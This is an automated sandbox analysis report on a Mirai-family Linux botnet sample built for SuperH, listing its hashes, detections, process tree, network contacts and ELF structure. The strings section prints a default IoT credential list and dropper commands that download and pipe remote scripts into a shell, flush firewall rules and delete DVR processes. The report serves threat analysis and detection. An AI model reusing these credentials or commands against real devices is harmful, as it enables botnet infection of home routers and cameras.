Joe Sandbox Cloud Basic Analysis Report

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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:sh4.elf
Analysis ID:1585071
MD5:bfff4edfb7803b033b8de46062eac1f5
SHA1:b2cd2c1cfd7ed92d48217ec48ae0f6b83524f8e5
SHA256:d0f4b9f4ca7d948322897addc4453ba44ef1a6481a1826df5132f999798cbf9d
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
ELF contains segments with high entropy indicating compressed/encrypted content
Executes the "rm" command used to delete files or directories
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1585071
Start date and time:2025-01-07 01:33:49 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 35s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:sh4.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@0/0

Runtime Messages

Command:/tmp/sh4.elf
PID:6262
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

  • system is lnxubuntu20
  • dash New Fork (PID: 6243, Parent: 4331)
  • rm (PID: 6243, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7F
  • dash New Fork (PID: 6244, Parent: 4331)
  • cat (PID: 6244, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.ZASB1Sckqe
  • dash New Fork (PID: 6245, Parent: 4331)
  • head (PID: 6245, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6246, Parent: 4331)
  • tr (PID: 6246, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6247, Parent: 4331)
  • cut (PID: 6247, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6248, Parent: 4331)
  • cat (PID: 6248, Parent: 4331, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.ZASB1Sckqe
  • dash New Fork (PID: 6249, Parent: 4331)
  • head (PID: 6249, Parent: 4331, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10
  • dash New Fork (PID: 6250, Parent: 4331)
  • tr (PID: 6250, Parent: 4331, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037
  • dash New Fork (PID: 6251, Parent: 4331)
  • cut (PID: 6251, Parent: 4331, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80
  • dash New Fork (PID: 6252, Parent: 4331)
  • rm (PID: 6252, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7F
  • sh4.elf (PID: 6262, Parent: 6179, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
sh4.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    6262.1.00007f3b5c400000.00007f3b5c416000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security

      Suricata Signatures

      ⊘No Suricata rule has matched

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: sh4.elfReversingLabs: Detection: 34%
      Source: sh4.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/sh4.elf (PID: 6262)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: sh4.elfString found in binary or memory: http:///curl.sh
      Source: sh4.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@0/0
      Source: /usr/bin/dash (PID: 6243)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7FJump to behavior
      Source: /usr/bin/dash (PID: 6252)Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7FJump to behavior
      Source: sh4.elfSubmission file: segment LOAD with 7.0051 entropy (max. 8.0)
      Source: /tmp/sh4.elf (PID: 6262)Queries kernel information via 'uname': Jump to behavior
      Source: sh4.elf, 6262.1.00007fffcd1b3000.00007fffcd1d4000.rw-.sdmpBinary or memory string: /usr/bin/qemu-sh4
      Source: sh4.elf, 6262.1.000055b0abaea000.000055b0abb4d000.rw-.sdmpBinary or memory string: U5!/etc/qemu-binfmt/sh4
      Source: sh4.elf, 6262.1.000055b0abaea000.000055b0abb4d000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/sh4
      Source: sh4.elf, 6262.1.00007fffcd1b3000.00007fffcd1d4000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
      Source: sh4.elf, 6262.1.00007fffcd1b3000.00007fffcd1d4000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 6262.1.00007f3b5c400000.00007f3b5c416000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Yara detected Mirai
      Source: Yara matchFile source: sh4.elf, type: SAMPLE
      Source: Yara matchFile source: 6262.1.00007f3b5c400000.00007f3b5c416000.r-x.sdmp, type: MEMORY

      Mitre Att&ck Matrix

      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting      		Valid AccountsWindows Management Instrumentation1
      Scripting      		Path Interception1
      Obfuscated Files or Information      		OS Credential Dumping11
      Security Software Discovery      		Remote ServicesData from Local System1
      Encrypted Channel      		Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
      File Deletion      		LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol      		Exfiltration Over BluetoothNetwork Denial of Service

      Malware Configuration

      ⊘No configs have been found

      Behavior Graph

      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet

      Screenshots

      Thumbnails

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand

      Antivirus, Machine Learning and Genetic Malware Detection

      Initial Sample

      SourceDetectionScannerLabelLink
      sh4.elf34%ReversingLabsLinux.Backdoor.Gafgyt

      Dropped Files

      ⊘No Antivirus matches

      Domains

      ⊘No Antivirus matches

      URLs

      ⊘No Antivirus matches

      Domains and IPs

      Contacted Domains

      ⊘No contacted domains info

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shsh4.elffalse
        		high
        http:///curl.shsh4.elffalse
          		high

          World Map of Contacted IPs

          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs

          Public IPs

          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          		unknownSwitzerland
          		13030INIT7CHfalse
          91.189.91.43
          		unknownUnited Kingdom
          		41231CANONICAL-ASGBfalse
          91.189.91.42
          		unknownUnited Kingdom
          		41231CANONICAL-ASGBfalse

          Joe Sandbox View / Context

          IPs

          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
          109.202.202.202kpLwzBouH4.elfGet hashmaliciousUnknownBrowse
          • ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
          91.189.91.43main_x86.elfGet hashmaliciousMiraiBrowse
            main_sh4.elfGet hashmaliciousMiraiBrowse
              woega6.elfGet hashmaliciousUnknownBrowse
                qbfwdbg.elfGet hashmaliciousUnknownBrowse
                  main_ppc.elfGet hashmaliciousMiraiBrowse
                    sparc.elfGet hashmaliciousUnknownBrowse
                      i686.elfGet hashmaliciousUnknownBrowse
                        gnjqwpc.elfGet hashmaliciousUnknownBrowse
                          na.elfGet hashmaliciousUnknownBrowse
                            Aqua.sh4.elfGet hashmaliciousMiraiBrowse
                              91.189.91.42main_x86.elfGet hashmaliciousMiraiBrowse
                                main_sh4.elfGet hashmaliciousMiraiBrowse
                                  woega6.elfGet hashmaliciousUnknownBrowse
                                    qbfwdbg.elfGet hashmaliciousUnknownBrowse
                                      main_arm.elfGet hashmaliciousMiraiBrowse
                                        main_m68k.elfGet hashmaliciousMiraiBrowse
                                          main_ppc.elfGet hashmaliciousMiraiBrowse
                                            sparc.elfGet hashmaliciousUnknownBrowse
                                              i686.elfGet hashmaliciousUnknownBrowse
                                                i586.elfGet hashmaliciousUnknownBrowse

                                                  Domains

                                                  ⊘No context

                                                  ASNs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  CANONICAL-ASGBarm6.elfGet hashmaliciousMiraiBrowse
                                                  • 185.125.190.26
                                                  main_x86.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_sh4.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  mips.elfGet hashmaliciousUnknownBrowse
                                                  • 185.125.190.26
                                                  woega6.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  qbfwdbg.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  main_arm.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_m68k.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_ppc.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  sparc.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  CANONICAL-ASGBarm6.elfGet hashmaliciousMiraiBrowse
                                                  • 185.125.190.26
                                                  main_x86.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_sh4.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  mips.elfGet hashmaliciousUnknownBrowse
                                                  • 185.125.190.26
                                                  woega6.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  qbfwdbg.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  main_arm.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_m68k.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  main_ppc.elfGet hashmaliciousMiraiBrowse
                                                  • 91.189.91.42
                                                  sparc.elfGet hashmaliciousUnknownBrowse
                                                  • 91.189.91.42
                                                  INIT7CHmain_x86.elfGet hashmaliciousMiraiBrowse
                                                  • 109.202.202.202
                                                  main_sh4.elfGet hashmaliciousMiraiBrowse
                                                  • 109.202.202.202
                                                  woega6.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  qbfwdbg.elfGet hashmaliciousUnknownBrowse
                                                  • 109.202.202.202
                                                  main_arm.elfGet hashmaliciousMiraiBrowse
                                                  • 109.202.202.202
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                                                  JA3 Fingerprints

                                                  ⊘No context

                                                  Dropped Files

                                                  ⊘No context

                                                  Created / dropped Files

                                                  ⊘No created / dropped files found

                                                  Static File Info

                                                  General

                                                  File type:ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
                                                  Entropy (8bit):6.9668731025302755
                                                  TrID:
                                                  • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                                                  File name:sh4.elf
                                                  File size:87'808 bytes
                                                  MD5:bfff4edfb7803b033b8de46062eac1f5
                                                  SHA1:b2cd2c1cfd7ed92d48217ec48ae0f6b83524f8e5
                                                  SHA256:d0f4b9f4ca7d948322897addc4453ba44ef1a6481a1826df5132f999798cbf9d
                                                  SHA512:4eee14894126ae50b282de7bd12f57b520d8f5bbe0925d9893a2e48dd3836dc318870bc0b5d894fb3a58b888d8bac3c664a75656bbe85aa6851184eb60a3867d
                                                  SSDEEP:1536:5aS5qNitGRuhiXEsle0wSHxouKwLtv7xqZs4CbiWDk9n4sTwCb:HURSiUsle0LOBwZQZs44EnFb
                                                  TLSH:30838E23D891AD44D94CE5FAB0B18B3E8B23F55185432FDB82A6E3799047DDDFC092A4
                                                  File Content Preview:.ELF..............*.......@.4...pU......4. ...(...............@...@..P...P...............P...PB..PB.....xg..........Q.td............................././"O.n........#.*@........#.*@L....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

                                                  Static ELF Info

                                                  ELF header

                                                  Class:ELF32
                                                  Data:2's complement, little endian
                                                  Version:1 (current)
                                                  Machine:<unknown>
                                                  Version Number:0x1
                                                  Type:EXEC (Executable file)
                                                  OS/ABI:UNIX - System V
                                                  ABI Version:0
                                                  Entry Point Address:0x4001a0
                                                  Flags:0x9
                                                  ELF Header Size:52
                                                  Program Header Offset:52
                                                  Program Header Size:32
                                                  Number of Program Headers:3
                                                  Section Header Offset:87408
                                                  Section Header Size:40
                                                  Number of Section Headers:10
                                                  Header String Table Index:9

                                                  Sections

                                                  NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                                                  NULL0x00x00x00x00x0000
                                                  .initPROGBITS0x4000940x940x300x00x6AX004
                                                  .textPROGBITS0x4000e00xe00x113600x00x6AX0032
                                                  .finiPROGBITS0x4114400x114400x240x00x6AX004
                                                  .rodataPROGBITS0x4114640x114640x3c440x00x2A004
                                                  .ctorsPROGBITS0x4250ac0x150ac0x80x00x3WA004
                                                  .dtorsPROGBITS0x4250b40x150b40x80x00x3WA004
                                                  .dataPROGBITS0x4250c00x150c00x4700x00x3WA004
                                                  .bssNOBITS0x4255300x155300x62f40x00x3WA004
                                                  .shstrtabSTRTAB0x00x155300x3e0x00x0001

                                                  Program Segments

                                                  TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                  LOAD0x00x4000000x4000000x150a80x150a87.00510x5R E0x10000.init .text .fini .rodata
                                                  LOAD0x150ac0x4250ac0x4250ac0x4840x67783.49300x6RW 0x10000.ctors .dtors .data .bss
                                                  GNU_STACK0x00x00x00x00x00.00000x7RWE0x4

                                                  Network Behavior

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Jan 7, 2025 01:34:45.346883059 CET43928443192.168.2.2391.189.91.42
                                                  Jan 7, 2025 01:34:50.718137980 CET42836443192.168.2.2391.189.91.43
                                                  Jan 7, 2025 01:34:51.486053944 CET4251680192.168.2.23109.202.202.202
                                                  Jan 7, 2025 01:35:07.099946022 CET43928443192.168.2.2391.189.91.42
                                                  Jan 7, 2025 01:35:17.338470936 CET42836443192.168.2.2391.189.91.43
                                                  Jan 7, 2025 01:35:21.433888912 CET4251680192.168.2.23109.202.202.202
                                                  Jan 7, 2025 01:35:48.054312944 CET43928443192.168.2.2391.189.91.42

                                                  System Behavior

                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/rm
                                                  Arguments:rm -f /tmp/tmp.ZASB1Sckqe /tmp/tmp.qw4Q7je8c3 /tmp/tmp.DZkTwFGq7F
                                                  File size:72056 bytes
                                                  MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/cat
                                                  Arguments:cat /tmp/tmp.ZASB1Sckqe
                                                  File size:43416 bytes
                                                  MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/head
                                                  Arguments:head -n 10
                                                  File size:47480 bytes
                                                  MD5 hash:fd96a67145172477dd57131396fc9608

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/tr
                                                  Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                  File size:51544 bytes
                                                  MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/cut
                                                  Arguments:cut -c -80
                                                  File size:47480 bytes
                                                  MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/cat
                                                  Arguments:cat /tmp/tmp.ZASB1Sckqe
                                                  File size:43416 bytes
                                                  MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/head
                                                  Arguments:head -n 10
                                                  File size:47480 bytes
                                                  MD5 hash:fd96a67145172477dd57131396fc9608

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/dash
                                                  Arguments:-
                                                  File size:129816 bytes
                                                  MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
                                                  Start date (UTC):07/01/2025
                                                  Path:/usr/bin/tr
                                                  Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                  File size:51544 bytes
                                                  MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                  Chronological Activities


                                                  General

                                                  Start time (UTC):00:34:38
